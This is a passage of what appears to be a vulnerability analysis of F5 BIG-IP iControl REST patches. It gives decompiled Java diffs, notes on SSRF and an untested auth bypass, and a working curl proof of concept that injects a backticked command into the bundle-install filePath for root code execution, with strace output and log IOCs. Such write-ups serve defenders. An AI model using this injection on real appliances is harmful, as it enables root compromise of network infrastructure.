availabilityEx) throws Exception {
     subscribeToAuthProviderGroup();

+
+
+    this.subscriptions.put(makePublicUri(LocalAuthLoginWorker.WORKER_URI_PATH),
makePublicUri(LocalAuthLoginWorker.WORKER_URI_PATH));
+
+
     super.onStartCompleted(state, stateLoadEx, availabilityEx);
   }

   private void subscribeToAuthProviderGroup() throws Exception {
     RestRequestCompletion subscribeCompletion = new RestRequestCompletion()
       {
         public void failed(Exception ex, RestOperation operation)
         {
           AuthnWorker.this.getLogger().warningFmt("Failed to subscribe to auth
providers: %s", new Object[] { RestHelper.throwableStackToString(ex) });
         }



         public void completed(RestOperation operation) {
           AuthnWorker.this.getLogger().fine("Successfully subscribed to auth
providers");

           AuthzHelper.getAllAuthProviders(AuthnWorker.this.getServer(), new
RestRequestCompletion()
               {

                 public void failed(Exception ex, RestOperation operation)
                 {
                   AuthnWorker.this.getLogger().warningFmt("Failed to get all auth
providers: %s", new Object[] { RestHelper.throwableStackToString(ex) });
                 }




                 public void completed(RestOperation operation) {

AuthnWorker.this.processAuthProviderGroupNotification(operation);
                 }
               });
         }
       };


     RestRequestCompletion notificationCompletion = new RestRequestCompletion()
       {

         public void failed(Exception ex, RestOperation operation)
         {
           AuthnWorker.this.getLogger().severeFmt("Notification from auth
providers failed: %s", new Object[] { RestHelper.throwableStackToString(ex) });
         }




         public void completed(RestOperation operation) {
           AuthnWorker.this.processAuthProviderGroupNotification(operation);
         }
       };

     AuthzHelper.subscribeToAuthProviderGroup(getServer(), subscribeCompletion,
notificationCompletion);
   }





   private void processAuthProviderGroupNotification(RestOperation operation) {
     RestResolverGroupEntry entry =
(RestResolverGroupEntry)operation.getTypedBody(RestResolverGroupEntry.class);


     if (entry.references != null) {
       for (RestReference ref : entry.references) {
         if (operation.getMethod().equals(RestOperation.RestMethod.DELETE)) {
           unsubscribe(ref.link); continue;
         }
         subscribeToAuthProvider(ref.link);
       }
     }
   }



   private void lookupAuthProviderCollection(URI authProviderLink) {
     this.lookupAuthRetryCountReferenceMap.put(authProviderLink, new
AtomicInteger(0));
     lookupAuthProviderCollectionRetry(authProviderLink);
   }


   private void lookupAuthProviderCollectionRetry(final URI authProviderLink) {
     RestRequestCompletion completion = new RestRequestCompletion()
       {
         public void failed(Exception ex, RestOperation operation)
         {
           if
(((AtomicInteger)AuthnWorker.this.lookupAuthRetryCountReferenceMap.get(authProvide
rLink)).intValue() > 10) {
             AuthnWorker.this.getLogger().severeFmt("Max retries; failed to lookup
auth provider %s: %s", new Object[] { this.val$authProviderLink.toString(),
RestHelper.throwableStackToString(ex) });

             return;
           }
```

```
          AuthnWorker.this.getLogger().warningFmt("Failed to lookup auth provider
%s: Retry number %s", new Object[] { this.val$authProviderLink.toString(),
Integer.valueOf(((AtomicInteger)AuthnWorker.access$100(this.this$0).get(this.val$a
uthProviderLink)).intValue()) });


          AuthnWorker.this.scheduleTaskOnce(new Runnable()
              {
                public void run() {

((AtomicInteger)AuthnWorker.this.lookupAuthRetryCountReferenceMap.get(authProvider
Link)).incrementAndGet();

AuthnWorker.this.lookupAuthProviderCollectionRetry(authProviderLink);
                }
              },  AuthnWorker.this.LOOKUP_AUTH_MAX_WAIT_MILLIS);
        }


        public void completed(RestOperation operation) {
          AuthProviderCollectionState collectionState =
(AuthProviderCollectionState)operation.getTypedBody(AuthProviderCollectionState.cl
ass);


          for (AuthProviderState item : collectionState.items) {
            AuthnWorker.this.addAuthProvider(item);
          }

AuthnWorker.this.lookupAuthRetryCountReferenceMap.remove(authProviderLink);
        }
      };

    RestOperation op =
RestOperation.create().setUri(makeLocalUri(authProviderLink)).setCompletion(comple
tion);

    sendGet(op);
  }


  private void unsubscribe(URI providerCollectionLink) {
    URI notificationWorkerUri = this.subscriptions.get(providerCollectionLink);

    if (notificationWorkerUri == null) {
      return;
    }

    RestOperation subscribeRequest =
RestOperation.create().setUri(makeLocalUri(providerCollectionLink));

    try {
      sendDeleteForSubscription(subscribeRequest, notificationWorkerUri);
    } catch (Exception e) {
      getLogger().fineFmt("Failed to unsubscribe to %s: %s", new Object[] {
providerCollectionLink.getPath(), RestHelper.throwableStackToString(e) });
    }
  }
```

```
   private void subscribeToAuthProvider(final URI providerCollectionLink) {
     RestRequestCompletion notificationCompletion = new RestRequestCompletion()
       {
         public void completed(RestOperation operation)
         {
           AuthProviderState state =
(AuthProviderState)operation.getTypedBody(AuthProviderState.class);

           if (operation.getMethod().equals(RestOperation.RestMethod.DELETE)) {
             AuthnWorker.this.removeAuthProvider(state);
           } else {
             AuthnWorker.this.addAuthProvider(state);
           }
         }



         public void failed(Exception ex, RestOperation operation) {
           AuthnWorker.this.getLogger().severeFmt("%s", new Object[] {
ex.getMessage() });
         }
       };


     RestRequestCompletion subscribeCompletion = new RestRequestCompletion()
       {
         public void failed(Exception ex, RestOperation operation)
         {
           AuthnWorker.this.getLogger().severeFmt("Failed to subscribe to auth
provider %s: %s", new Object[] { this.val$providerCollectionLink.getPath(),
RestHelper.throwableStackToString(ex) });
         }




         public void completed(RestOperation operation) {
           AuthnWorker.this.getLogger().fine("Successfully subscribed to auth
provider.");
           AuthnWorker.this.lookupAuthProviderCollection(providerCollectionLink);
         }
       };


     RestOperation subscribeRequest =
RestOperation.create().setUri(makeLocalUri(providerCollectionLink)).setCompletion(
subscribeCompletion);

     try {
       URI notificationUri = sendPostForSubscription(subscribeRequest,
getServer(), notificationCompletion);

       this.subscriptions.put(providerCollectionLink, notificationUri);
     } catch (Exception e) {
       getLogger().severeFmt("Error while subscribing to %s: %s", new Object[] {
providerCollectionLink.getPath(), RestHelper.throwableStackToString(e) });
     }
   }
   private void addAuthProvider(AuthProviderState state) {
     getLogger().fineFmt("Added a new auth provider [%s] at [%s].", new Object[] {
state.name, state.loginReference.link });

     this.loginNameToReferenceMap.put(state.name, state.loginReference);
   }

   private void removeAuthProvider(AuthProviderState state) {
     getLogger().fineFmt("Removed an auth provider %s.", new Object[] { state.name
});
     this.loginNameToReferenceMap.remove(state.name);
   }


   protected void onPost(final RestOperation request) {
     final String incomingAddress = request.getRemoteSender();

     final AuthnWorkerState state =
(AuthnWorkerState)request.getTypedBody(AuthnWorkerState.class);
     AuthProviderLoginState loginState =
(AuthProviderLoginState)request.getTypedBody(AuthProviderLoginState.class);


-    if (state.password == null && state.bigipAuthCookie == null) {
+    if (Utilities.isNullOrEmpty(state.password) &&
Utilities.isNullOrEmpty(state.bigipAuthCookie)) {
       state.bigipAuthCookie = request.getCookie("BIGIPAuthCookie");
       loginState.bigipAuthCookie = state.bigipAuthCookie;
     }

     if (incomingAddress != null && incomingAddress != "Unknown") {
       loginState.address = incomingAddress;
     }

-    if ((state.username == null || state.password == null) &&
state.bigipAuthCookie == null) {
+    if ((Utilities.isNullOrEmpty(state.username) ||
Utilities.isNullOrEmpty(state.password)) &&
Utilities.isNullOrEmpty(state.bigipAuthCookie)) {
+
       request.setStatusCode(401);
       String msg = String.format("username and password must not be null or %s in
Cookie header should be used.", new Object[] { "BIGIPAuthCookie" });

       request.fail(new SecurityException(msg));

+
       return;
     }

+    boolean isAllowedLinks = false;
+
+
+
+
+
+
+
+    if (state.loginReference != null && state.loginReference.link != null) {
+
+      for (URI iter : this.subscriptions.keySet()) {
+        if (state.loginReference.link.getPath().equals(iter.getPath())) {
+          isAllowedLinks = true;
+          break;
+        }
+      }
+      if (!isAllowedLinks) {
+        getLogger().severe("No login provider found.");
+        String msg = String.format("No login provider found.", new Object[0]);
+        request.fail(new SecurityException(msg));
+
+        return;
+      }
+    }
+
     state.password = null;
     request.setBody(state);



     if (state.loginReference == null) {
       if (state.loginProviderName == null) {
         ExecutorService executorService = Executors.newSingleThreadExecutor();
         Callable<String> callable = new Callable<String>()
           {
             public String call() throws Exception {
               final String[] providerName = { null };
               RestRequestCompletion getAuthSourceTypeCompletion = new
RestRequestCompletion()
                 {
                   public void completed(RestOperation response) {
                     AuthSourceState sourceState =
(AuthSourceState)response.getTypedBody(AuthSourceState.class);
                     if ("local".equals(sourceState.type)) {
                       providerName[0] = "local";
                     } else {
                       providerName[0] = "tmos";
                     }
                   }


                   public void failed(Exception ex, RestOperation response) {
                     request.fail(ex);
                   }
                 };

               AuthzHelper.getAuthSource(AuthnWorker.this.getServer(),
getAuthSourceTypeCompletion);
               try {
                 int remainingSleepTime = 800, numberOfAttempts = 0;
                 int multiplier = 1; numberOfAttempts = 1;
                 for (; providerName[0] == null;
                   multiplier *= 2, numberOfAttempts++) {
```

```
                  TimeUnit.MILLISECONDS.sleep((10 * multiplier));
                  remainingSleepTime -= 10 * multiplier;
                  if (providerName[0] != null || numberOfAttempts == 5) {
                    break;
                  }
                }

                while (providerName[0] == null) {
                  TimeUnit.MILLISECONDS.sleep(50L);
                  remainingSleepTime -= 50;
                }
                AuthnWorker.this.getLogger().fine("Total Time taken to set the
loginProviderName is " + (800 - remainingSleepTime) + "ms");
              } catch (InterruptedException e) {
                AuthnWorker.this.getLogger().severe("Error while setting value to
loginProviderName when no loginReference and no loginProviderName were given");
              }
              return providerName[0];
            }
          };

          Future<String> future = executorService.submit(callable);
          try {
            state.loginProviderName = future.get(800L, TimeUnit.MILLISECONDS);
            executorService.shutdown();
          } catch (TimeoutException e) {
            getLogger().severe("Maximum wait time(800ms) exceeded while getting
value of loginProviderName");
            future.cancel(true);
            if (!executorService.isShutdown()) {
              executorService.shutdown();
            }
          } catch
(CancellationException|java.util.concurrent.ExecutionException|InterruptedExceptio
n e) {
            getLogger().severe("Error while getting value of loginProviderName:" +
RestHelper.throwableStackToString(e));
            if (!executorService.isShutdown()) {
              executorService.shutdown();
            }
          }
          getLogger().fineFmt("loginProviderName set to %s as default value, based
on authentication source type when it was null", new Object[] {
state.loginProviderName });
        }

        if (state.loginProviderName != null) {
          if (state.loginProviderName.equals("local")) {
            state.loginReference = new
RestReference(makePublicUri(LocalAuthLoginWorker.WORKER_URI_PATH));
          }
          else if
(this.loginNameToReferenceMap.containsKey(state.loginProviderName)) {
            state.loginReference =
this.loginNameToReferenceMap.get(state.loginProviderName);
          } else {
            request.fail(new IllegalArgumentException("loginProviderName is
invalid."));
            return;
```

```
         }
       } else {
         request.fail(new IllegalArgumentException("loginProviderName is null."));


         return;
       }
     }

     final String failureKey = String.format("%s:%s", new Object[] {
(state.username == null) ? state.bigipAuthCookie : state.username,
state.loginReference.link });



     LoginFailures failures = this.loginFailureMap.get(failureKey);

     if (failures != null && failures.failures >= 5) {
       if (RestHelper.getNowMicrosUtc() - failures.lastFailureMicros <
FAILED_ATTEMPTS_TIMEOUT) {
         request.setStatusCode(401);
         request.fail(new SecurityException("Maximum number of login attempts
exceeded."));
         return;
       }
       this.loginFailureMap.remove(failureKey);
     }


     RestRequestCompletion authCompletion = new RestRequestCompletion()
       {

         public void failed(Exception ex, RestOperation operation)
         {
           String loginProviderId = (state.loginProviderName == null) ?
state.loginReference.link.toString() : state.loginProviderName;


           String clientId = (state.username == null) ? ("Cookie " +
state.bigipAuthCookie) : ("User " + state.username);

           AuthnWorker.this.getLogger().infoFmt("%s failed to login from %s using
the %s authentication provider", new Object[] { clientId,
this.val$incomingAddress, loginProviderId });


           AuthnWorker.LoginFailures failures =
(AuthnWorker.LoginFailures)AuthnWorker.this.loginFailureMap.get(failureKey);
           if (failures == null) {
             failures = new AuthnWorker.LoginFailures();
             AuthnWorker.this.loginFailureMap.put(failureKey, failures);
           }
           failures.lastFailureMicros = RestHelper.getNowMicrosUtc();
           failures.failures++;

           request.setStatusCode(401);

           if (ex.getMessage() == null || ex.getMessage().isEmpty()) {
             request.fail(ex, RestErrorResponse.create().setMessage("Unable to 
login using supplied information. If you are attempting to login with a configured 
authentication provider it may be unavailable or no longer exist."));
             return;
           }
           request.fail(ex);
         }





         public void completed(RestOperation operation) {
           AuthnWorker.this.loginFailureMap.remove(failureKey);

           AuthProviderLoginState loggedIn = 
(AuthProviderLoginState)operation.getTypedBody(AuthProviderLoginState.class);


           String authProviderId = loggedIn.authProviderName;
           if (authProviderId == null) {
             authProviderId = (state.loginProviderName == null) ? 
state.loginReference.link.toString() : state.loginProviderName;
           }


           AuthnWorker.this.getLogger().finestFmt("User %s successfully logged in 
from %s using the %s authentication provider.", new Object[] { loggedIn.username, 
this.val$incomingAddress, authProviderId });




           AuthnWorker.generateToken(AuthnWorker.this.getServer(), request, state, 
loggedIn);
         }
       };

     RestOperation checkAuth = 
RestOperation.create().setBody(loginState).setUri(makeLocalUri(state.loginReferenc
e.link)).setCompletion(authCompletion);


     sendPost(checkAuth);
   }








   public static void generateToken(RestServer server, final RestOperation 
request, final AuthnWorkerState authState, AuthProviderLoginState loginState) {
     if (authState.needsToken != null && !authState.needsToken.booleanValue()) {
       request.setBody(authState);
       request.complete();

       return;
```

```
    }
    AuthTokenItemState token = new AuthTokenItemState();
    token.userName = loginState.username;
    token.user = loginState.userReference;
    token.groupReferences = loginState.groupReferences;
    token.authProviderName = loginState.authProviderName;
    token.address = request.getXForwarderdFor();

    RestRequestCompletion tokenCompletion = new RestRequestCompletion()
      {
        public void failed(Exception ex, RestOperation operation)
        {
          request.fail(ex);
        }



        public void completed(RestOperation operation) {
          AuthTokenItemState token =
(AuthTokenItemState)operation.getTypedBody(AuthTokenItemState.class);
          authState.token = token;
          request.setBody(authState);
          request.complete();
        }
      };


    RestOperation createToken =
RestOperation.create().setUri(UrlHelper.buildLocalUriSafe(server, new String[] {
WellKnownPorts.AUTHZ_TOKEN_WORKER_URI_PATH
})).setBody(token).setCompletion(tokenCompletion).setReferer("authn-generate-
token");





    RestRequestSender.sendPost(createToken);
  }
 }
diff --git a/com/f5/rest/workers/liveupdate/LiveUpdateDownloadWorker.java
b/com/f5/rest/workers/liveupdate/LiveUpdateDownloadWorker.java
index 5e33f0d..caba75d 100644
--- a/com/f5/rest/workers/liveupdate/LiveUpdateDownloadWorker.java
+++ b/com/f5/rest/workers/liveupdate/LiveUpdateDownloadWorker.java
@@ -1,17 +1,18 @@
 package com.f5.rest.workers.liveupdate;

 import com.f5.rest.common.RestWorker;
-import com.f5.rest.workers.FileTransferWorker;
+import com.f5.rest.workers.FileTransferPrivateWorker;

-public class LiveUpdateDownloadWorker extends LiveUpdateFileTransferWorker {
+public class LiveUpdateDownloadWorker
+  extends LiveUpdateFileTransferWorker {
   private String getDirectory;

   public LiveUpdateDownloadWorker(String paramString1, String paramString2) {
     super(paramString1);
     this.getDirectory = paramString2;
   }

   protected RestWorker getRestWorker() throws Exception {
-    return (RestWorker)new FileTransferWorker(this.getDirectory);
+    return (RestWorker)new FileTransferPrivateWorker(this.getDirectory);
   }
 }
diff --git a/com/f5/rest/workers/liveupdate/LiveUpdateUploadWorker.java
b/com/f5/rest/workers/liveupdate/LiveUpdateUploadWorker.java
index 03cddd7..d46ac00 100644
--- a/com/f5/rest/workers/liveupdate/LiveUpdateUploadWorker.java
+++ b/com/f5/rest/workers/liveupdate/LiveUpdateUploadWorker.java
@@ -1,59 +1,60 @@
 package com.f5.rest.workers.liveupdate;

 import com.f5.rest.common.RestOperation;
 import com.f5.rest.common.RestWorker;
-import com.f5.rest.workers.FileTransferWorker;
+import com.f5.rest.workers.FileTransferPrivateWorker;
 import java.io.File;
 import java.nio.file.Files;
 import java.nio.file.LinkOption;
 import java.nio.file.Path;
 import java.nio.file.Paths;
 import java.nio.file.attribute.GroupPrincipal;
 import java.nio.file.attribute.PosixFileAttributeView;
 import java.nio.file.attribute.PosixFileAttributes;
 import java.nio.file.attribute.UserPrincipal;
 import java.util.List;

 public class LiveUpdateUploadWorker
-  extends LiveUpdateFileTransferWorker {
+  extends LiveUpdateFileTransferWorker
+{
   private String postDirectory;
   private String tmpDirectory;

   public LiveUpdateUploadWorker(String paramString1, String paramString2, String
paramString3) {
     super(paramString1);
     this.postDirectory = paramString2;
     this.tmpDirectory = paramString3;
   }

   protected void onRequestComplete(RestOperation paramRestOperation) {
     List list = paramRestOperation.getParsedCollectionEntries();
     if (list != null && !list.isEmpty()) {
       String str = "/var/lib/hsqldb/live-update/update-files/" +
((RestOperation.ParsedCollectionEntry)list.get(0)).entryKey;
       File file = new File(str);
       if (file.exists()) {

         try {
           File file1 = new File("/var/lib/hsqldb/live-update/update-files");
           PosixFileAttributes posixFileAttributes =
Files.<PosixFileAttributes>readAttributes(file1.toPath(),
PosixFileAttributes.class, new LinkOption[] { LinkOption.NOFOLLOW_LINKS });
           GroupPrincipal groupPrincipal = posixFileAttributes.group();
```

```
          UserPrincipal userPrincipal = posixFileAttributes.owner();

          PosixFileAttributeView posixFileAttributeView =
Files.<PosixFileAttributeView>getFileAttributeView(file.toPath(),
PosixFileAttributeView.class, new LinkOption[] { LinkOption.NOFOLLOW_LINKS });
          posixFileAttributeView.setGroup(groupPrincipal);

          Path path = Paths.get(str, new String[0]);
          Files.setOwner(path, userPrincipal);

          file.setReadable(true, false);
        } catch (Exception exception) {}
      }
    }
  }


  protected RestWorker getRestWorker() throws Exception {
-    FileTransferWorker fileTransferWorker = new
FileTransferWorker(this.postDirectory, this.tmpDirectory);
-    fileTransferWorker.setPostFileGrooming(false);
-    return (RestWorker)fileTransferWorker;
+    FileTransferPrivateWorker fileTransferPrivateWorker = new
FileTransferPrivateWorker(this.postDirectory, this.tmpDirectory);
+    fileTransferPrivateWorker.setPostFileGrooming(false);
+    return (RestWorker)fileTransferPrivateWorker;
  }
 }
```

RCE

This is a post-auth root command injection in a `tar(1)` command.

Patch

Filtering is applied to the user-controlled `taskState.filePath` parameter.

```
[snip]
+  private static final Pattern validFilePathChars = Pattern.compile("(^[a-zA-
Z][a-zA-Z0-9_.\\-\\s()]*)\\.([tT][aA][rR]\\.[gG][zZ])$");
[snip]
   private void validateGzipBundle(final IAppBundleInstallTaskState taskState) {
     if (Utilities.isNullOrEmpty(taskState.filePath)) {
       File agcUseCasePackDir = new File("/var/apm/f5-iappslx-agc-usecase-pack/");
       if (!agcUseCasePackDir.exists() || !agcUseCasePackDir.isDirectory()) {
         String error = "Access Guided Configuration use case pack not found on
BIG-IP. Please upload and install the pack.";
         failTask(taskState, error, "");
         return;
       }
       File[] agcUseCasePack = agcUseCasePackDir.listFiles();
       if (agcUseCasePack == null || agcUseCasePack.length == 0 ||
!agcUseCasePack[0].isFile()) {

         String error = "Access Guided Configuration use case pack not found on
BIG-IP. Please upload and install the pack.";
         failTask(taskState, error, "");
         return;
       }
       taskState.filePath = agcUseCasePack[0].getPath();
     }

+    String filename =
taskState.filePath.substring(taskState.filePath.lastIndexOf('/') + 1);
+    Matcher m = validFilePathChars.matcher(filename);
+    if (!m.matches()) {
+      String errorMessage = String.format("Access Guided Configuration use case
pack validation failed: the file name %s must begin with alphabet, and only
contain letters, numbers, spaces and/or special characters (underscore (_), period
(.), hyphen (-) and round brackets ()). Only a .tar.gz file is allowed", new
Object[] { filename });
+
+
+
+      failTask(taskState, errorMessage, "");
+
+      return;
+    }
     final String extractTarCommand = "tar -xf " + taskState.filePath + " -O >
/dev/null";


     ShellExecutor extractTar = new ShellExecutor(extractTarCommand);

     CompletionHandler<ShellExecutionResult> executionFinishedHandler = new
CompletionHandler<ShellExecutionResult>()
       {
         public void completed(ShellExecutionResult extractQueryResult)
         {
           if (extractQueryResult.getExitStatus().intValue() != 0) {
             String error = extractTarCommand + " failed with exit code=" +
extractQueryResult.getExitStatus();


             IAppBundleInstallTaskCollectionWorker.this.failTask(taskState,
"Usecase pack validation failed. Please ensure that usecase pack is a valid tar
archive.", error + "stdout + stderr=" + extractQueryResult.getOutput());


             return;
           }


           taskState.step =
IAppBundleInstallTaskState.IAppBundleInstallStep.QUERY_INSTALLED_RPM;
           IAppBundleInstallTaskCollectionWorker.this.sendStatusUpdate(taskState);
         }


         public void failed(Exception ex, ShellExecutionResult rpmQueryResult) {
           IAppBundleInstallTaskCollectionWorker.this.failTask(taskState, "Usecase
pack validation failed. Please ensure that usecase pack is a valid tar archive.",
String.format("%s failed", new Object[] { this.val$extractTarCommand }) +
RestHelper.throwableStackToString(ex));
         }
       };
     extractTar.startExecution(executionFinishedHandler);
   }
[snip]
```

PoC

The affected endpoint is `/mgmt/tm/access/bundle-install-tasks`.

```
wvu@kharak:~$ curl -ksu admin:[redacted]
https://192.168.123.134/mgmt/tm/access/bundle-install-tasks -d
'{"filePath":"`id`"}' | jq .
{
  "filePath": "`id`",
  "toBeInstalledAppRpmsIndex": -1,
  "id": "36671f83-d1be-4f5a-a2e6-7f9442a2a76f",
  "status": "CREATED",
  "userReference": {
    "link": "https://localhost/mgmt/shared/authz/users/admin"
  },
  "identityReferences": [
    {
      "link": "https://localhost/mgmt/shared/authz/users/admin"
    }
  ],
  "ownerMachineId": "ac2562f0-e41f-4652-ba35-6a2b804b235e",
  "generation": 1,
  "lastUpdateMicros": 1615930477819656,
  "kind": "tm:access:bundle-install-tasks:iappbundleinstalltaskstate",
  "selfLink": "https://localhost/mgmt/tm/access/bundle-install-tasks/36671f83-
d1be-4f5a-a2e6-7f9442a2a76f"
}
wvu@kharak:~$
```

The `id(1)` command is executed as root.

```
[pid 64748] execve("/bin/tar", ["tar", "-xf", "uid=0(root)", "gid=0(root)",
"groups=0(root)", "context=system_u:system_r:initrc_t:s0", "-O"], [/* 9 vars */])
= 0
```

IOCs

An error may be seen in `/var/log/restjavad.0.log`. This log file is rotated.

```
[SEVERE][10029][16 Mar 2021 21:34:37 UTC][8100/tm/access/bundle-install-tasks
IAppBundleInstallTaskCollectionWorker] Usecase pack validation failed. Please
ensure that usecase pack is a valid tar archive. error details: tar -xf `id` -O >
/dev/null failedorg.apache.commons.exec.ExecuteException: Process exited with an
error: 2 (Exit value: 2)
        at
org.apache.commons.exec.DefaultExecutor.executeInternal(DefaultExecutor.java:404)
        at
org.apache.commons.exec.DefaultExecutor.access$200(DefaultExecutor.java:48)
        at
org.apache.commons.exec.DefaultExecutor$1.run(DefaultExecutor.java:200)
        at java.lang.Thread.run(Thread.java:748)
```

SSRF?

Apache on port 443 talks to `restjavad` on port 8100, which spawns and talks to `/usr/bin/icrd_child` on an ephemeral port.

Patch

Validation is applied to the user-controlled `state.loginReference.link` parameter.

```
[snip]
   protected void onPost(final RestOperation request) {
     final String incomingAddress = request.getRemoteSender();

     final AuthnWorkerState state =
(AuthnWorkerState)request.getTypedBody(AuthnWorkerState.class);
     AuthProviderLoginState loginState =
(AuthProviderLoginState)request.getTypedBody(AuthProviderLoginState.class);


-    if (state.password == null && state.bigipAuthCookie == null) {
+    if (Utilities.isNullOrEmpty(state.password) &&
Utilities.isNullOrEmpty(state.bigipAuthCookie)) {
       state.bigipAuthCookie = request.getCookie("BIGIPAuthCookie");
       loginState.bigipAuthCookie = state.bigipAuthCookie;
     }

     if (incomingAddress != null && incomingAddress != "Unknown") {
       loginState.address = incomingAddress;
     }

-    if ((state.username == null || state.password == null) &&
state.bigipAuthCookie == null) {
+    if ((Utilities.isNullOrEmpty(state.username) ||
Utilities.isNullOrEmpty(state.password)) &&
Utilities.isNullOrEmpty(state.bigipAuthCookie)) {
+
       request.setStatusCode(401);
       String msg = String.format("username and password must not be null or %s in
Cookie header should be used.", new Object[] { "BIGIPAuthCookie" });

       request.fail(new SecurityException(msg));

+
       return;
     }

+    boolean isAllowedLinks = false;
+
+
+
+
+
+
+
+    if (state.loginReference != null && state.loginReference.link != null) {
+
+      for (URI iter : this.subscriptions.keySet()) {
+        if (state.loginReference.link.getPath().equals(iter.getPath())) {
+          isAllowedLinks = true;
+          break;
+        }
+      }
+      if (!isAllowedLinks) {
+        getLogger().severe("No login provider found.");
+        String msg = String.format("No login provider found.", new Object[0]);
+        request.fail(new SecurityException(msg));
+
+        return;
+      }
+    }
+
     state.password = null;
     request.setBody(state);



     if (state.loginReference == null) {
       if (state.loginProviderName == null) {
         ExecutorService executorService = Executors.newSingleThreadExecutor();
         Callable<String> callable = new Callable<String>()
           {
             public String call() throws Exception {
               final String[] providerName = { null };
               RestRequestCompletion getAuthSourceTypeCompletion = new
RestRequestCompletion()
                 {
                   public void completed(RestOperation response) {
                     AuthSourceState sourceState =
(AuthSourceState)response.getTypedBody(AuthSourceState.class);
                     if ("local".equals(sourceState.type)) {
                       providerName[0] = "local";
                     } else {
                       providerName[0] = "tmos";
                     }
                   }


                   public void failed(Exception ex, RestOperation response) {
                     request.fail(ex);
                   }
                 };

               AuthzHelper.getAuthSource(AuthnWorker.this.getServer(),
getAuthSourceTypeCompletion);
               try {
                 int remainingSleepTime = 800, numberOfAttempts = 0;
                 int multiplier = 1; numberOfAttempts = 1;
                 for (; providerName[0] == null;
                   multiplier *= 2, numberOfAttempts++) {

                   TimeUnit.MILLISECONDS.sleep((10 * multiplier));
                   remainingSleepTime -= 10 * multiplier;
                   if (providerName[0] != null || numberOfAttempts == 5) {
                     break;
                   }
                 }

                 while (providerName[0] == null) {
                   TimeUnit.MILLISECONDS.sleep(50L);
```

```
                  remainingSleepTime -= 50;
                }
                AuthnWorker.this.getLogger().fine("Total Time taken to set the 
loginProviderName is " + (800 - remainingSleepTime) + "ms");
              } catch (InterruptedException e) {
                AuthnWorker.this.getLogger().severe("Error while setting value to 
loginProviderName when no loginReference and no loginProviderName were given");
              }
              return providerName[0];
            }
          };

        Future<String> future = executorService.submit(callable);
        try {
          state.loginProviderName = future.get(800L, TimeUnit.MILLISECONDS);
          executorService.shutdown();
        } catch (TimeoutException e) {
          getLogger().severe("Maximum wait time(800ms) exceeded while getting 
value of loginProviderName");
          future.cancel(true);
          if (!executorService.isShutdown()) {
            executorService.shutdown();
          }
        } catch 
(CancellationException|java.util.concurrent.ExecutionException|InterruptedExceptio
n e) {
          getLogger().severe("Error while getting value of loginProviderName:" + 
RestHelper.throwableStackToString(e));
          if (!executorService.isShutdown()) {
            executorService.shutdown();
          }
        }
        getLogger().fineFmt("loginProviderName set to %s as default value, based 
on authentication source type when it was null", new Object[] { 
state.loginProviderName });
      }

      if (state.loginProviderName != null) {
        if (state.loginProviderName.equals("local")) {
          state.loginReference = new 
RestReference(makePublicUri(LocalAuthLoginWorker.WORKER_URI_PATH));
        }
        else if 
(this.loginNameToReferenceMap.containsKey(state.loginProviderName)) {
          state.loginReference = 
this.loginNameToReferenceMap.get(state.loginProviderName);
        } else {
          request.fail(new IllegalArgumentException("loginProviderName is 
invalid."));
          return;
        }
      } else {
        request.fail(new IllegalArgumentException("loginProviderName is null."));


        return;
      }
    }
```

```
     final String failureKey = String.format("%s:%s", new Object[] {
(state.username == null) ? state.bigipAuthCookie : state.username,
state.loginReference.link });



     LoginFailures failures = this.loginFailureMap.get(failureKey);

     if (failures != null && failures.failures >= 5) {
       if (RestHelper.getNowMicrosUtc() - failures.lastFailureMicros <
FAILED_ATTEMPTS_TIMEOUT) {
         request.setStatusCode(401);
         request.fail(new SecurityException("Maximum number of login attempts
exceeded."));
         return;
       }
       this.loginFailureMap.remove(failureKey);
     }


     RestRequestCompletion authCompletion = new RestRequestCompletion()
       {

         public void failed(Exception ex, RestOperation operation)
         {
           String loginProviderId = (state.loginProviderName == null) ?
state.loginReference.link.toString() : state.loginProviderName;


           String clientId = (state.username == null) ? ("Cookie " +
state.bigipAuthCookie) : ("User " + state.username);

           AuthnWorker.this.getLogger().infoFmt("%s failed to login from %s using
the %s authentication provider", new Object[] { clientId,
this.val$incomingAddress, loginProviderId });


           AuthnWorker.LoginFailures failures =
(AuthnWorker.LoginFailures)AuthnWorker.this.loginFailureMap.get(failureKey);
           if (failures == null) {
             failures = new AuthnWorker.LoginFailures();
             AuthnWorker.this.loginFailureMap.put(failureKey, failures);
           }
           failures.lastFailureMicros = RestHelper.getNowMicrosUtc();
           failures.failures++;

           request.setStatusCode(401);

           if (ex.getMessage() == null || ex.getMessage().isEmpty()) {
             request.fail(ex, RestErrorResponse.create().setMessage("Unable to
login using supplied information. If you are attempting to login with a configured
authentication provider it may be unavailable or no longer exist."));
             return;
           }
           request.fail(ex);
         }
         public void completed(RestOperation operation) {
           AuthnWorker.this.loginFailureMap.remove(failureKey);

           AuthProviderLoginState loggedIn =
(AuthProviderLoginState)operation.getTypedBody(AuthProviderLoginState.class);


           String authProviderId = loggedIn.authProviderName;
           if (authProviderId == null) {
             authProviderId = (state.loginProviderName == null) ?
state.loginReference.link.toString() : state.loginProviderName;
           }


           AuthnWorker.this.getLogger().finestFmt("User %s successfully logged in
from %s using the %s authentication provider.", new Object[] { loggedIn.username,
this.val$incomingAddress, authProviderId });




           AuthnWorker.generateToken(AuthnWorker.this.getServer(), request, state,
loggedIn);
         }
       };

     RestOperation checkAuth =
RestOperation.create().setBody(loginState).setUri(makeLocalUri(state.loginReferenc
e.link)).setCompletion(authCompletion);


     sendPost(checkAuth);
   }
[snip]
```

Also interesting is the defensive programming added to basic auth. I tested this first for auth bypass but wasn't successful. It is by no means a dead end, since I haven't actually analyzed the code path yet.

```
[snip]
-  private static boolean setIdentityFromBasicAuth(RestOperation request) {
+
+
+  private static boolean setIdentityFromBasicAuth(final RestOperation request,
final Runnable runnable) {
     String authHeader = request.getBasicAuthorization();
     if (authHeader == null) {
       return false;
     }
-    AuthzHelper.BasicAuthComponents components =
AuthzHelper.decodeBasicAuth(authHeader);
-    request.setIdentityData(components.userName, null, null);
+    final AuthzHelper.BasicAuthComponents components =
AuthzHelper.decodeBasicAuth(authHeader);
+
+
+
+
+
+    String xForwardedHostHeaderValue = request.getAdditionalHeader("X-Forwarded-
Host");
+
+
+
+    if (xForwardedHostHeaderValue == null) {
+      request.setIdentityData(components.userName, null, null);
+      if (runnable != null) {
+        runnable.run();
+      }
+      return true;
+    }
+
+
+
+    String[] valueList = xForwardedHostHeaderValue.split(", ");
+    int valueIdx = (valueList.length > 1) ? (valueList.length - 1) : 0;
+    if (valueList[valueIdx].contains("localhost") ||
valueList[valueIdx].contains("127.0.0.1")) {
+
